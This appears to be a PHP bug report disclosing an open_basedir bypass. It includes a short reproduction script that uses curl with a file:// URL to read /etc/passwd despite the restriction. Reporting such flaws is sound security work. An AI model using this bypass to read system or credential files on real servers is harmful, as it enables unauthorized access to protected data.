Description:
------------
It is possible to access a file which is outside directory specified in open_basedir directive.

This bug is really easy to reproduce - just set some open_basedir and try to read the contents of, for example, /etc/passwd

I didn't find this bug, I read about it on security-related web-site, checked it, and it worked :(

Reproduce code:
---------------
<?php
$var1 = curl_init("file:///etc/passwd");
$anyfile=curl_exec($var1);
echo $anyfile
?>


Expected result:
----------------
I would expect an error in the log saying about open_basedir restriction and access to the file being denied.

Actual result:
--------------
you'll get the contents of /etc/passwd
